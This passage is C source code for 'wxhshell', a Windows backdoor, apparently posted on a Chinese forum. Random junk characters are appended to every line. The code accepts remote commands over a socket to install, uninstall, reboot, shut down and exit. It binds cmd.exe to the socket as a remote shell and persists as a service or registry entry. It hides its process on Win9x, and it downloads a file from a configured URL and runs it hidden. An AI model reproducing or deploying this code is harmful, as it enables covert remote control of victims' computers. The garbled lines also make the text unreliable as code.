  else { Mj'lASI  
HamEIL-l.  
    switch(cmd[0]) { 4#h ?Wga  
  +5-fk>o  
  // 帮助 ZpWu,1  
  case '?': { .[,6JU%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6|oWaA\gI  
    break; }{mG/(LX8  
  } n^Vxi;F  
  // 安装 !-RwB@\  
  case 'i': { a2X h>{  
    if(Install()) zAI|Jv @  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5[<F_"x  
    else OpqNEo\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GA ik;R  
    break; 8f-:d]  
    } 4 l1 i>_R  
  // 卸载 @G(xaU'u  
  case 'r': { &-4 ?!  
    if(Uninstall()) ~},~c:fF?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9FNwpL'C  
    else @>:i-5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Ng"C`$oqv  
    break; 5m`[MBt2g  
    } 6F-JK1i  
  // 显示 wxhshell 所在路径 J[r^T&o  
  case 'p': { ,ey0:.!;  
    char svExeFile[MAX_PATH]; z{M8Yf |  
    strcpy(svExeFile,"\n\r"); C$K+=jT  
      strcat(svExeFile,ExeFile); G * @@K  
        send(wsh,svExeFile,strlen(svExeFile),0); Y-]YDXrPQ  
    break; e`AUYli"  
    } doH2R @  
  // 重启 !&JiNn('  
  case 'b': { pU hc3L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *:j-zrwu&  
    if(Boot(REBOOT)) L;Vq j]_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L~ 2q1  
    else { 0d`5Gy_D%  
    closesocket(wsh); M8zE3;5  
    ExitThread(0); w%rg\E  
    } j8c6[ih  
    break; \gd6Yx^[  
    } 3&9zGy{V+  
  // 关机 quRPg)  
  case 'd': { f@x_#ov  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \n;g2/VjO  
    if(Boot(SHUTDOWN))  mmcdtVe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y7La_FPrl  
    else { t\|J&4!Y  
    closesocket(wsh); uOFnCy 4  
    ExitThread(0); Pxk0(oBX  
    } *`1bc'umM;  
    break; S\b K+  
    } niQcvnT4b  
  // 获取shell &N9IcNP  
  case 's': { 9N1#V K  
    CmdShell(wsh); [9HYO  
    closesocket(wsh); {NV:|M!  
    ExitThread(0); Oj-r;Tt_G}  
    break; v~aLTI  
  } 0# l#,Y6#I  
  // 退出 Th/{x h  
  case 'x': { fa yKM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [G=:?J,P  
    CloseIt(wsh); 5y}BCY2=/  
    break; Ysl9f1>%  
    } NhCAv +  
  // 离开 sxk*$jO[]  
  case 'q': { uR^.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Hh@2m\HA  
    closesocket(wsh); "4RQ`.S R  
    WSACleanup(); }>,CUz  
    exit(1); .8x@IWJD  
    break; D!/0c]"  
        } #EFMgQO  
  } *7_@7=W,  
  } ez+yP,.#  
NFV_+{X\  
  // 提示信息 ?lyltAxs'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F0&O/-w&u  
} N2% :h;tf  
  } ]$|st^Q  
S QSA%B$<  
  return; _{mJ.1)V;  
} !")WZq^`  
'xk1o,;  
// shell模块句柄 q^%5HeV 2  
int CmdShell(SOCKET sock) =oPng= :  
{ q#|r   
STARTUPINFO si; T(gg>_'jh  
ZeroMemory(&si,sizeof(si)); %:%MUdl6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4ODX 5If  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cPJ7E  
PROCESS_INFORMATION ProcessInfo; T1bFxim#b  
char cmdline[]="cmd"; Op90NZI#K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); );!dg\U  
  return 0; `^zQ$au'u  
} FTbtAlqh<  
Z7oaQ\fR  
// 自身启动模式 @f%wd2  
int StartFromService(void) )lOji7&e  
{ =nw0# '  
typedef struct _\!0t  
{ '(XW$D  
  DWORD ExitStatus; 4Lw'v:(  
  DWORD PebBaseAddress; x.o3iN[=  
  DWORD AffinityMask; C6CGj8G  
  DWORD BasePriority; sjcQaF`=  
  ULONG UniqueProcessId; OSj%1KL  
  ULONG InheritedFromUniqueProcessId; m3B \)2B  
}   PROCESS_BASIC_INFORMATION; h)P]gT0f/  
'Nw6.5  
PROCNTQSIP NtQueryInformationProcess; @E YK(QS-  
(]}XLMi,|!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4[Z1r~t\L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q Y@nE  
j $KM9  
  HANDLE             hProcess; "s${!A)  
  PROCESS_BASIC_INFORMATION pbi; p#z;cjfSt  
r.9 $y/5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8>m1UONr  
  if(NULL == hInst ) return 0; ;}f6Y['z  
o3fR3P%$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gn364U a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @ E >eq.m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6z PV'~q  
K/~Y!?:J r  
  if (!NtQueryInformationProcess) return 0; C_C$5[~-:  
9X.gg$P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C5cFw/',  
  if(!hProcess) return 0; ')rD?Z9 ^  
VGfD;8]z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e`vUK.UoW  
{;\%!I  
  CloseHandle(hProcess); H8( C>w-'  
5vYsA1Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3/:LYvM<  
if(hProcess==NULL) return 0; >d'EInSF  
]yw_n^@  
HMODULE hMod; `9:v*KuM#R  
char procName[255]; xTGP  
unsigned long cbNeeded; cK/PQsMP  
G;Us-IRZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HuK Aj  
O.dux5lfBd  
  CloseHandle(hProcess); |b,zw^!e['  
Dxz5NW4  
if(strstr(procName,"services")) return 1; // 以服务启动 C CLfvex  
e K\|SQb  
  return 0; // 注册表启动 py}.00it  
} 0@:Y>qVa  
.HQVj'g  
// 主模块 38<~R  
int StartWxhshell(LPSTR lpCmdLine) >c&4_?d&,A  
{ %+D-y+hn  
  SOCKET wsl; 9t.fij  
BOOL val=TRUE; Wn2Ny jX  
  int port=0; ]j72P  
  struct sockaddr_in door; ,.J<.#D3J  
}rFThI  
  if(wscfg.ws_autoins) Install(); \ YjB+[.  
3x,Aczb  
port=atoi(lpCmdLine); 4S^  
"9TxK6  
if(port<=0) port=wscfg.ws_port; @"jmI&hYn  
nl.~^CP  
  WSADATA data; S$ Ns8=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9@kc K  
X+/{%P!w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Jii?r*"d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -WQ_[t9l  
  door.sin_family = AF_INET; uPM8GIvZX.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W dei`u[  
  door.sin_port = htons(port); iH($rSE  
~+7ad$   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +#^sy>  
closesocket(wsl); |^ 2rtI  
return 1; QJ[(Y@ O6a  
} 0G~%UYB-  
h9,wiT  
  if(listen(wsl,2) == INVALID_SOCKET) { l2z`<2mp  
closesocket(wsl); /e;e\k_}'  
return 1; }G"r3*  
} Q>cL?ie  
  Wxhshell(wsl); Xi1q]ps  
  WSACleanup(); 50}.Xm@,BO  
bjU 2UcI"<  
return 0; m$j n5:  
eA3`]XP.`b  
} 5d)'`hACe  
]C9%]`  
// 以NT服务方式启动 <K|3Q'(S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ex0 kb  
{ oHYD_8'f  
DWORD   status = 0; 6R3"L]J  
  DWORD   specificError = 0xfffffff; n0Qh9*h  
# |[`1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U[K0{PbY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'iMHAP;N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p,M3#^ q  
  serviceStatus.dwWin32ExitCode     = 0; 6,CU)-98G  
  serviceStatus.dwServiceSpecificExitCode = 0; +&&MUT{ 3  
  serviceStatus.dwCheckPoint       = 0; ~YR <SV\{  
  serviceStatus.dwWaitHint       = 0; >w%d'e$  
ph}wnIW]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >$#*`6R  
  if (hServiceStatusHandle==0) return; M6@'9E]|>  
~(Ih~/5\^  
status = GetLastError(); yVu^ >  
  if (status!=NO_ERROR) *l-Dh:  
{ U*`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; * K0j5dx  
    serviceStatus.dwCheckPoint       = 0; ,f-T1v"  
    serviceStatus.dwWaitHint       = 0; #QJ4o_  
    serviceStatus.dwWin32ExitCode     = status; H]T2$'U6  
    serviceStatus.dwServiceSpecificExitCode = specificError; R#[QoyJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?15POY ?Z  
    return; e/m'a|%:  
  } y<IZ|f  
i'eYmm96Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; . }-@;:yh  
  serviceStatus.dwCheckPoint       = 0; M]%!n3Fb  
  serviceStatus.dwWaitHint       = 0; H4,.H,PZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A?6{  
} / h 2*$  
2@=cqD7x  
// 处理NT服务事件,比如:启动、停止 /ze_{{o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rFt,36#  
{ @w.b |  
switch(fdwControl) ;T"m [D  
{ !ch[I#&J-  
case SERVICE_CONTROL_STOP: )%H5iSNG$P  
  serviceStatus.dwWin32ExitCode = 0; B5?c'[V9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gMoyy  
  serviceStatus.dwCheckPoint   = 0; 'Wx\"]:  
  serviceStatus.dwWaitHint     = 0; 5VoOJ_hq  
  { SevfxR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FrAqTz  
  } .MzP}8^  
  return; #%} u8\q  
case SERVICE_CONTROL_PAUSE: p;c_<>ws-Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IV 3@6t4k  
  break; w|hyU4- ^  
case SERVICE_CONTROL_CONTINUE: r(?'Yy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Le#E! sU  
  break; vV&AG1_Mv  
case SERVICE_CONTROL_INTERROGATE: h[[/p {z  
  break; h~=\/vF  
}; n+RUPZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {Vt^Xc  
} >? A `C!i  
+QCU]Fozk  
// 标准应用程序主函数 =ihoVA:|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8KGv?^M 6W  
{ I/ e2,  
|GVGny<  
// 获取操作系统版本 &EbD.>Ci  
OsIsNt=GetOsVer(); 5,=B1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); anKb  
X&FuqB  
  // 从命令行安装 aQym= 6 %e  
  if(strpbrk(lpCmdLine,"iI")) Install(); bdsHA2r`s  
Ilt L@]e  
  // 下载执行文件 .T62aJ   
if(wscfg.ws_downexe) { X T)hPwg.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @88z{  
  WinExec(wscfg.ws_filenam,SW_HIDE); cQ8$,fo  
} `pv89aO  
mw4'z,1Q  
if(!OsIsNt) { tl,x@['p`  
// 如果时win9x,隐藏进程并且设置为注册表启动 &d|VH y+  
HideProc(); EU&3Pdnd  
StartWxhshell(lpCmdLine); ,nu7r1}  
} /Mi-lh^j-  
else 9B?t3:  
  if(StartFromService()) sgb+@&}9n  
  // 以服务方式启动 I W] 841  
  StartServiceCtrlDispatcher(DispatchTable); ~gLEhtW  
else }TAGr 0  
  // 普通方式启动 )2^/?jK  
  StartWxhshell(lpCmdLine); 8ZDqqz^C0  
0u&?Zy9&  
return 0; uYFcq  
}
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只看该作者 1 发表于: 2006-10-10
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